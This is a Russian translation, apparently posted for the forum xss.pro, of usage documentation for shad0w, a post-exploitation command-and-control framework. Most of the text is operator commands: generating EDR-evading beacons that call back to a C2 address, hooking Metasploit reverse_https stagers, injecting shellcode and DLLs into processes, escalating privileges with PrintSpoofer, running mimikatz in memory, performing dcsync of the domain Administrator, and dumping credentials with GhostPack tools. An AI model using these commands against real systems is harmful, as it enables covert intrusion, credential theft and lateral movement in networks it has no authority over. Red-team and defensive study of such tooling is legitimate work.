Проэкт доступен на GitHub
Постэксплуатация - большая часть работы красной команды. Хотя многие организации начинают взрослеть и развертывать ряд сложных решений для обнаружения и реагирования конечных точек (EDR) в своих сетях,
это требует от нас, как злоумышленников, соответствующих мер. Нам необходимо обновить наш арсенал, чтобы дать нам возможность успешно работать в их сетях. Вот почему сегодня я представляю shad0w.
shad0w - это среда постэксплуатации, которая предназначена для скрытой работы в таких сетях, предоставляя оператору гораздо больший контроль над своими действиями.
В прошлом я подробно рассказывал о некоторых методах и приемах, которые использует shad0w. Этот блог будет служить документацией по использованию shad0w, я буду держать его в курсе новых функций, которые появятся в будущем.
Установка
shad0w разработан для запуска внутри докера, это должно облегчить жизнь оператору, поскольку у него есть некоторые очень специфические зависимости, которые необходимы для его правильной работы. Установка очень проста, требуются только две команды:
Bash:
$ git clone https://github.com/bats3c/shad0w.git && cd shad0w
$ sudo ./shad0w install
Это создаст докер контейнер с именем shad0w. На сборку уйдет примерно 10 минут.
Когда это будет завершено, вы сможете использовать команду shad0w. Эту команду следует использовать для запуска shad0w, а не делать это вручную через докер.
Пример команды ниже:
Bash:
$ shad0w --help
Даст вот такой вывод:
Beacons
Имплантаты shad0w называются beacons. Есть два типа beacons: безопасные и небезопасные.
Защищенные beacons предназначены для работы в средах, где жизненно важно оставаться незамеченными,
в то время как небезопасные beacons предназначены для сред, где безопасность гораздо менее строгая.
Каждый beacon имеет возможность статической и поэтапной полезной нагрузки. статические полезные нагрузки будут хранить в себе весь код beacon, поэтому они будут намного больше.
Где как поэтапные полезные данные содержат только заглушку, которая будет загружать и выполнять остальную полезную нагрузку.
Также есть поддержка stager'ов metasploits
reverse_https, я расскажу об этом более подробно позже в этом посте.Общий формат для генерации маяка следующий.
- Полезная нагрузка
Это контролируется с помощью флага -p и имеет формат arch / os / security / static. Например, для генерации 64-битного защищенного поэтапного beacon Windows строка полезной нагрузки будет x64 / windows / secure,а для создания статической версии - x64 / windows / secure / static. В настоящее время поддерживается только 64-битные Windows, но в будущем будет поддерживаться гораздо более широкий спектр архитектур и операционных систем. - Адрес
Это IP / домен, к которому beacon будет подключаться обратно. Это может быть либо редиректор, либо C2, в зависимости от вашего опыта. Его контролирует флаг -H. - Порт
Порт, на который будет звонить beacon. По умолчанию установлено значение 443, хотя это можно изменить с помощью флага -P. - Джиттер
Джиттер - это задержка между обратными вызовами, которую сделает маяк. По умолчанию установлено значение 1 секунда, но это значение можно изменить с помощью флага -j. - Формат
Это формат beacon. В настоящее время существует 4 различных формата; EXE, DLL, Powershell, ShellCode. Они соответствуют exe, dll, psh и raw соответственно. Его можно контролировать с помощью флага -f. - Вывод
Это файл для хранения сгенерированного beacon. - No Shrink
Из-за библиотеки JSON beacon могут быть довольно большими. Уменьшение размера при создании EXE будет сжиматься через UPX, после чего используются некоторые методы обфускации, чтобы скрыть факт использования UPX.
Чтобы пропустить этот этап, вы можете использовать флаг -n. - Режим отладки
Чтобы скомпилировать маяк в режиме отладки, используйте флаг -d.
Bash:
$ shad0w beacon -p x64/windows/secure -H 192.168.1.81 -f exe -o beacon.exe
Поднимаем C2
Хотя скоро появится командный сервер, в настоящее время каждый пользователь должен запустить свой собственный экземпляр C2.
Это делается с помощью аргумента
listen при вызове shad0w.
Bash:
$ shad0w listen --help
Некоторые варианты настройки C2 приведены ниже.
- Адрес и порт
Адрес и порт, которые будет прослушивать C2, обрабатываются флагами -a и -p соответственно. - Пользовательские сертификаты
Используя флаги -k и -c, вы можете указать C2 использовать разные сертификаты и ключи. Вы также можете сгенерировать новые значения по умолчанию, запустив make в каталоге certs /. - Зеркальное отображение веб-сайта
C2 обеспечивает возможность прямого прокси-сервера веб-сайта, поэтому при подключении к нему через веб-браузер C2 будет проксировать весь контент на веб-сайт и с него, его зеркальное отображение. Это можно настроить с помощью флага -m. - Режим отладки
Переключение с флагом -d. - Установка конечной точки
Важно установить конечную точку. Это первое место, куда beacon обратится либо к перенаправителю, либо к C2. Все, что вы установили как -H при создании beacon, должно быть установлено как конечная точка C2 с помощью флага -e.
Bash:
$ shad0w listen -e 192.168.1.18
Это будет интерфейс, который вам будет представлен после загрузки C2:
Получение обратных вызовов Meterpreter
Я решил, что вместо того, чтобы переписывать каждый эксплойт и модули metasploit, более разумным вариантом было бы добавить поддержку stager'ов metasploit, позволяющую загружать beacon shad0w вместо meterpreter.
Для этого вам потребуется всего лишь пара дополнительных шагов.
Сначала вам нужно убедиться, что
LHOST и LPORT указывают на shad0w C2. Затем отключите обработчик полезной нагрузки metasploit по умолчанию и установите для функции выхода значение none.
Bash:
msf5> set DisablePayloadHandler true
msf5> set EXITFUNC none
Как только это будет сделано, вам нужно будет установить
StagerURILength. Это важно для того, чтобы C2 мог идентифицировать обратный вызов stager meterpreter.Его можно установить на любое значение, но вы должны его запомнить.
Bash:
msf5> set StagerURILength 1337
Возможно настроить beacon shad0w только как reverse_https, поэтому полезная нагрузка должна быть установлена так
Bash:
msf5> set payload windows/x64/meterpreter/reverse_https
Как только всё будет сделано, вам нужно будет убедиться, что ваша переменная MsfUriSize в shad0w установлена так же, как ваш StagerURILength в metasploit.
Это можно сделать с помощью команды set:
Bash:
shad0w ≫ set -v MsfUriSize -d 1337
Теперь, когда модули metasploit запущены, в случае их успешного выполнения вам будет предоставлен beacon shad0w.
Взаимодействие с Beacon
Взаимодействие и использование beacon очень просто и выполняется с помощью команд через интерфейс командной строки.
Команда beacons используется для вывода списка beacon и взаимодействия с ними. Вы можете использовать его для вывода списка текущих beacon.
Bash:
shad0w ≫ beacons
Чтобы затем взаимодействовать с beacon, вы используете флаг -i с номером маяка.
Bash:
shad0w ≫ beacons -i 1
Когда вы взаимодействуете с beacon, в нижней части вашего терминала появляется полоса с информацией о нём.
Список команд доступен через
help, на данный момент их около 40.Взаимодействие с FS
С активным beacon shad0w очень легко взаимодействовать с файловой системой. Это можно сделать с помощью команд, аналогичных командам командной строки Linux.
Чтобы получить список файлов в каталоге, используйте команду
ls:
Bash:
shad0w(SYSTEM@DC01) ≫ ls
shad0w(SYSTEM@DC01) ≫ ls C:\Users
Вы можете изменить текущий каталог с помощью команды
cd.
Bash:
shad0w(SYSTEM@DC01) ≫ cd C:\Users
Вы также можете смотреть абсолютный путь к текущей дериктории, или удалять файлы:
Bash:
shad0w(SYSTEM@DC01) ≫ pwd
shad0w(SYSTEM@DC01) ≫ rm deleteme.txt
Для создания дериктории используйте команду
mkdir:
Bash:
shad0w(SYSTEM@DC01) ≫ mkdir DirectoryName
Управление процессами
Важно, чтобы, получив активный beacon, вы не ограничивались одним процессом и могли перечислять, переносить и создавать новые beacon и процессы столько, сколько сочтете нужным.
Все это можно сделать с помощью shad0w.
Используя
getpid, вы можете получить информацию о процессе, в котором работает beacon.
Bash:
shad0w(SYSTEM@DC01) ≫ getpid
С помощью команды
ps вы можете перечислить все текущие процессы и некоторую информацию о них.
Bash:
shad0w(SYSTEM@DC01) ≫ ps
Если вы решите отказаться от текущего процесса, вы можете использовать ряд вариантов. Чтобы просто полностью переместить текущий beacon в новый процесс, вы можете использовать команду migrate.
Bash:
shad0w(SYSTEM@DC01) ≫ migrate -p 4404
Чтобы внедрить новую копию текущего beacon в процесс, вы можете использовать команду
binject.
Bash:
shad0w(SYSTEM@DC01) ≫ binject -p 4404
Также можно внедрять в процессы как raw шеллкод, так и библиотеки DLL.
Это можно сделать с помощью
shinject и dllinject.
Bash:
shad0w(SYSTEM@DC01) ≫ shinject -p 8725 -f shellcode.bin
shad0w(SYSTEM@DC01) ≫ dllinject -p 4267 -f yourfile.dll
Эскаляция привилегий
Встроенная поддержка повышения привилегий с помощью команды
elevate. Чтобы перечислить доступные эксплойты,вы можете использовать команду -l и -c an -u для проверки и использования эксплойта.
Bash:
shad0w(LOCAL SERVICE@DC01) ≫ elevate -l
shad0w(LOCAL SERVICE@DC01) ≫ elevate -c system_printspoofer
shad0w(LOCAL SERVICE@DC01) ≫ elevate -u system_printspoofer
Используя приведенные выше команды, вы можете увидеть, как мы перешли от beacon с разрешениями
LOCAL SERVICE к учетной записи компьютера DC01 $.
В будущем я добавлю больше эксплойтов.
Выполнение кода в памяти
Можно выполнять сборки .NET, EXE, DLL, VBS, JS или XSL-файлы внутри памяти. Это возможно с помощью команды
execute.Файл должен быть передан через флаг -f, а любые аргументы - через флаг -p.
Bash:
shad0w(SYSTEM@DC01) ≫ execute -f bin/mimikatz.x64.exe
shad0w(SYSTEM@DC01) ≫ execute -f bin/mimikatz.x64.exe -p coffee
Socks Proxy
В настоящее время для проксирования socks используется слегка модифицированная версия
SharpSock.Самый простой способ установить соединение socks - использовать флаг -q, это откроет «быстрое» соединение.
Bash:
shad0w(SYSTEM@DC01) ≫ sharpsocks -q
Также возможно использование аргументов
server и listen для создания гораздо более сложных соединений.Unmanaged PowerShell
Также имеется поддержка неуправляемого выполнения PowerShell. Это делается с помощью команды
psh.Использование очень гибкое и позволяет выполнять широкий спектр действий.
Использование флага -c выполнит один запрос PowerShell.
Bash:
shad0w(SYSTEM@DC01) ≫ psh -c Write-Output $PSversionTable
Также возможно использование модулей. Чтобы вывести список доступных в настоящее время модулей, вы можете использовать флаг -l.
Модули можно добавить, поместив их в каталог сценариев и перестроив shad0w.
Bash:
shad0w(SYSTEM@DC01) ≫ psh -l
Чтобы импортировать модуль (или модули), вам нужно использовать флаг -m. Он разместит модули по случайному пути на C2,
затем он будет загружен и вызван перед выполнением команды, заданной через -c.
Bash:
shad0w(SYSTEM@DC01) ≫ psh -m GetHash -c Invoke-GetHash
shad0w(SYSTEM@DC01) ≫ psh -m GetHash,PowerUp -c Invoke-AllChecks; Invoke-GetHash
Вы можете получить информацию о модулях, используя флаг -i.
.NET Enumeration
Вы можете перечислить доступные версии .NET с помощью команды
dotnet.
Bash:
shad0w(SYSTEM@DC01) ≫ dotnet
GhostPack
Я написал модули для всех двоичных файлов GhostPack. Это позволяет запускать их с помощью одной команды, ничего не выполняя.
Bash:
shad0w(SYSTEM@DC01) ≫ seatbelt
shad0w(SYSTEM@DC01) ≫ rubeus
shad0w(SYSTEM@DC01) ≫ sharpdpapi
shad0w(SYSTEM@DC01) ≫ sharpwmi
shad0w(SYSTEM@DC01) ≫ sharpup
shad0w(SYSTEM@DC01) ≫ safetykatz
shad0w(SYSTEM@DC01) ≫ sharpdump
shad0w(SYSTEM@DC01) ≫ sharpchrome
Используя эти модули, можно с легкостью выполнять различные техники бокового перемещения.
BloodHound
Существует поддержка bloodhound через команду sharphound, как и все модули, она поддерживает все переключатели командной строки исходной программы.'
Bash:
shad0w(SYSTEM@DC01) ≫ sharphound
После запуска sharphound вы можете использовать команду загрузки для загрузки вывода.
Bash:
shad0w(SYSTEM@DC01) ≫ download 20200920035847_BloodHound.zip
Mimikatz
Также имеется встроенный модуль mimikatz. Это еще больше расширяет возможности,
позволяя вам намного проще выполнять такие действия, как dcsync и pth.
Поскольку это пример, я покажу синхронизацию от DC, но она, очевидно, все еще работает в других местах и ситуациях.
Bash:
shad0w(SYSTEM@DC01) ≫ mimikatz -x "lsadump::dcsync /user:Administrator"
Убираем Beacon
Наконец, когда пришло время закончить жизнь beacon, это можно сделать с помощью команды
die.shad0w предупредит вас, а затем, когда вы введете команду -y, beacon будет убит.
Bash:
shad0w(SYSTEM@DC01) ≫ die
shad0w(SYSTEM@DC01) ≫ die -y
О Будующем
Я работаю над реализацией командного сервера и клиентов с графическим интерфейсом, а также над некоторыми новыми интересными функциями. Если вы хотите помочь разработке,
не стесняйтесь делать пул-реквесты в github или напишите мне в моем твиттере @_batsec_, если вы хотите знать, где мне может понадобиться помощь.
От ТС
Оригинал на вот.
Спасибо weaver за материал для перевода.
Перевод:
Azrv3l cпециально для xss.pro